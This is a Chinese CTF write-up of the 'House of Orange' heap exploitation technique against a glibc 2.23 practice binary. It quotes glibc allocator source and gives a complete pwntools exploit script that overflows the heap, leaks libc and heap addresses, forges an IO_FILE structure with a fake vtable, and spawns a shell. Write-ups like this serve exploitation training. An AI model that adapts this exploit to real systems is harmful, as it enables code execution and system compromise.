House of orange因一道同名的題而來,它是在程序沒有調用free函數的情況下利用其它漏洞結合IO_FILE來達到利用。
- 首先利用漏洞修改top chunk的size,然後申請一個比size大的堆,滿足一定條件,這個top chunk就會被釋放到unsorted bin裏。
- 利用unsorted bin attack,將__IO_list_all指針改寫爲unsorted bin的頭chunk地址
- 利用漏洞在可控的unsorted bin裏僞造IO_file_plus和vtable結構
- 再次malloc時,由於unsorted bin裏的指針被修改了,發生malloc_printerr報錯,而malloc_printerr用到了__IO_list_all指針,會從__IO_list_all指向的地方開始查找合適的FILE結構,並調用裏面vtable裏的函數。因此,我們在vtable裏放入system函數即可getshell
我們先來看一下程序的保護機制
然後,我們用IDA分析一下,一次create創建3個堆,總共可以create三次。
Upgrade操作存在明顯的堆溢出漏洞
show功能沒有什麼異常
做堆題,一般都是要先泄露libc地址,這需要用到unsorted bin,但是本題沒有free操作。我們可以利用溢出,修改top chunk的size,改小一點。然後我們malloc一個比這個size大的chunk,由於我們申請的大小超過了top chunk的大小。系統會使用sysmalloc來分配堆,sysmalloc最後會判斷old_size如果符合條件,原來的top chunk就會被釋放,即放入unsorted bin。
- static void *
- sysmalloc (INTERNAL_SIZE_T nb, mstate av)
- {
- mchunkptr old_top; /* incoming value of av->top */
- INTERNAL_SIZE_T old_size; /* its size */
- /*
- If have mmap, and the request size meets the mmap threshold, and
- the system supports mmap, and there are few enough currently
- allocated mmapped regions, try to directly map this request
- rather than expanding top.
- */
- if (av == NULL
- || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
- && (mp_.n_mmaps < mp_.n_mmaps_max)))
- {
- .........
- /* Setup fencepost and free the old top chunk with a multiple of
- MALLOC_ALIGNMENT in size. */
- /* The fencepost takes at least MINSIZE bytes, because it might
- become the top chunk again later. Note that a footer is set
- up, too, although the chunk is marked in use. */
- old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
- set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
- if (old_size >= MINSIZE)
- {
- set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
- set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
- set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
- _int_free (av, old_top, 1);
- }
- else
- {
- set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
- set_foot (old_top, (old_size + 2 * SIZE_SZ));
- }
- }
- .....
- }
當unsorted bin裏有chunk後,我們通過申請堆塊,就能讓指針保留在我們的申請的堆裏,這樣我們就能泄露了。當然爲了能把heap的地址也泄露出來,我們malloc一個large bin,這樣它的fd_nextsize和bk_nextsize中指向自身。
- build(0x30,'a'*0x30)
- #修改top chunk的size爲0xF80
- payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)
- edit(len(payload),payload)
- #申請一個比top chunk的size大的空間,那麼top chunk會被放入unsorted bin
- build(0x1000,'b')
- #接下來申請unsorted bin裏的chunk,泄露libc地址和堆地址
- build(0x400,'c')
- show()
- sh.recvuntil('Name of house : ')
- main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
- _IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)
- libc_base = _IO_list_all_addr - _IO_list_all_s
- system_addr = libc_base + system_s
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
- print '_IO_list_all_addr=',hex(_IO_list_all_addr)
- #泄露堆地址
- edit(0x10,'c'*0x10)
- show()
- sh.recvuntil('c'*0x10)
- heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
- heap_base = heap_addr - 0xE0
- print 'heap_base=',hex(heap_base)
接下來,我們利用unsorted bin attack修改__IO_list_all指針
Unsorted bin attack的原理在glibc的源碼中,我們僞造將__IO_list_all-0x10僞造成bk,這樣bck->fd = __IO_list_all = unsorted_chunks (av) = main_arena + 0x58
- /* remove from unsorted list */
- unsorted_chunks (av)->bk = bck;
- bck->fd = unsorted_chunks (av);
此時, main_arena + 0x58相當於一個IO_file_plus結構,但是main_arena+0x58的內容我們不能完全控制,也就不能在這裏僞造結構。
我們看到IO_file_plus結構有一個_chain指針,它位於IO_file_plus+0x68處,指向了下一個IO_file_plus結構體,相當於單鏈表一樣,用指針連接起來。現在main_arena+0x58是IO_file_plus,那麼_chain的位置就在main_arena+0x58 + 0x68 = main_arena + 0xC0,而main_arena + 0xC0存儲着的是small bin的頭地址。所以,我們要讓main_arena + 0xC0指向一個我們可控的地方,然後在那裏僞造第二個IO_file_plus結構,即通過轉移,讓它轉移到我們可控的地方。
我們可以把unsorted bin的頭結點的size改成0x60,這樣當我們調用malloc,glibc會整理unsorted bin,把對應size的chunk放入對應的bin裏面。此時,size爲0x60,屬於small_bin
- static void *
- _int_malloc (mstate av, size_t bytes)
- {
- /* remove from unsorted list */
- unsorted_chunks (av)->bk = bck;
- bck->fd = unsorted_chunks (av);
- /* Take now instead of binning if exact fit */
- if (size == nb)
- {
- set_inuse_bit_at_offset (victim, size);
- if (av != &main_arena)
- victim->size |= NON_MAIN_ARENA;
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- /* place chunk in bin */
- if (in_smallbin_range (size))
- {
- victim_index = smallbin_index (size); //victim_index=6
- bck = bin_at (av, victim_index); //bck=&av->bins[10]-0x10
- fwd = bck->fd; //fwd=&av->bins[10]
- }
- ...
- mark_bin (av, victim_index);
- victim->bk = bck;
- victim->fd = fwd;
- fwd->bk = victim;//&av->bins[10]+0x18 = old_top
- bck->fd = victim;
- }
main_arena結構
- struct malloc_state
- {
- /* Serialize access. */
- mutex_t mutex;
- /* Flags (formerly in max_fast). */
- int flags;
- /* Fastbins */
- mfastbinptr fastbinsY[NFASTBINS];
- /* Base of the topmost chunk -- not otherwise kept in a bin */
- mchunkptr top;
- /* The remainder from the most recent split of a small request */
- mchunkptr last_remainder;
- /* Normal bins packed as described above */
- mchunkptr bins[NBINS * 2 - 2];
- /* Bitmap of bins */
- unsigned int binmap[BINMAPSIZE];
- /* Linked list */
- struct malloc_state *next;
- /* Linked list for free arenas. Access to this field is serialized
- by free_list_lock in arena.c. */
- struct malloc_state *next_free;
- /* Number of threads attached to this arena. 0 if the arena is on
- the free list. Access to this field is serialized by
- free_list_lock in arena.c. */
- INTERNAL_SIZE_T attached_threads;
- /* Memory allocated from the system in this arena. */
- INTERNAL_SIZE_T system_mem;
- INTERNAL_SIZE_T max_system_mem;
- };
av->bins[10]+0x18 = main_arena + 0x58 + 0x8*10 + 0x18 = main_arena + 0xC0 = old_top
我們讓unsorted bin的size爲0x60,是爲了讓chain指針正好重新指回來,指向我們可控的地方。
那麼,我們就可以開始僞造結構體了,我們還需要繞過一下檢查
- _IO_flush_all_lockp (int do_lock)
- {
- int result = 0;
- FILE *fp;
- #ifdef _IO_MTSAFE_IO
- _IO_cleanup_region_start_noarg (flush_cleanup);
- _IO_lock_lock (list_all_lock);
- #endif
- for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
- {
- run_fp = fp;
- if (do_lock)
- _IO_flockfile (fp);
- if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
- || (_IO_vtable_offset (fp) == 0
- && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
- > fp->_wide_data->_IO_write_base))/*我們需要構造滿足條件*/
- )
- && _IO_OVERFLOW (fp, EOF) == EOF)/*從_IO_list_all指向的FILE結構開始查找,找到合適_IO_FILE作爲_IO_OVERFLOW的參數,執行vtable裏面的函數,把IO_FILE結構體本身作爲參數*/
- result = EOF;
- if (do_lock)
- _IO_funlockfile (fp);
- run_fp = NULL;
- }
- #ifdef _IO_MTSAFE_IO
- _IO_lock_unlock (list_all_lock);
- _IO_cleanup_region_end (0);
- #endif
- return result;
- }
我們僞造的結構體如下
- #執行vtable的函數時,FILE結構體地址被作爲參數,因此,我們在最開頭寫/bin/sh字符串
- fake_file = '/bin/sh\x00' + p64(0x60) #size作爲0x60,被放入small_bin,從而對應了chain指針
- #unsorted bin attack,修改_IO_list_all爲main_arena+88
- fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
- #_IO_write_base < _IO_write_ptr
- fake_file += p64(0) + p64(1)
- fake_file = fake_file.ljust(0xC0,'\x00')
- fake_file += p64(0)*3
- #vtable指針,同時,也作爲fake_vtable的__dummy
- fake_file += p64(heap_base + 0x5E8)
- #__dummy2、__finish
- fake_file += p64(0)*2
- #__overflow
- fake_file += p64(system_addr)
現在,讓我們來malloc觸發後看看
同時,我們也已經getshell
如果getsehll失敗,可以多試幾次就會成功。因爲棧環境問題。
#coding:utf8
from pwn import *
sh = process('./houseoforange')
#sh = remote('111.198.29.45',44076)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./libc64-2.19.so')
_IO_list_all_s = libc.symbols['_IO_list_all']
system_s = libc.sym['system']
def build(size,name):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Length of name :',str(size))
sh.sendafter('Name :',name)
sh.sendlineafter('Price of Orange:','123')
sh.sendlineafter('Color of Orange:','1')
def show():
sh.sendlineafter('Your choice :','2')
def edit(size,name):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Length of name :',str(size))
sh.sendafter('Name:',name)
sh.sendlineafter('Price of Orange:','123')
sh.sendlineafter('Color of Orange:','1')
build(0x30,'a'*0x30)
#修改top chunk的size爲0xF80
payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)
edit(len(payload),payload)
#申請一個比top chunk的size大的空間,那麼top chunk會被放入unsorted bin
build(0x1000,'b')
#接下來申請unsorted bin裏的chunk,泄露libc地址和堆地址
build(0x400,'c')
show()
sh.recvuntil('Name of house : ')
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
_IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)
libc_base = _IO_list_all_addr - _IO_list_all_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
#泄露堆地址
edit(0x10,'c'*0x10)
show()
sh.recvuntil('c'*0x10)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
heap_base = heap_addr - 0xE0
print 'heap_base=',hex(heap_base)
payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
#執行vtable的函數時,FILE結構體地址被作爲參數,因此,我們在最開頭寫/bin/sh字符串
fake_file = '/bin/sh\x00' + p64(0x60) #size作爲0x60,被放入small_bin,從而對應了chain指針
#unsorted bin attack,修改_IO_list_all爲main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
#vtable指針,同時,也作爲fake_vtable的__dummy
fake_file += p64(heap_base + 0x5E8)
#__dummy2、__finish
fake_file += p64(0)*2
#__overflow
fake_file += p64(system_addr)
payload += fake_file
edit(len(payload),payload)
#malloc觸發異常,getshell
sh.recv()
sh.sendline('1')
sh.interactive()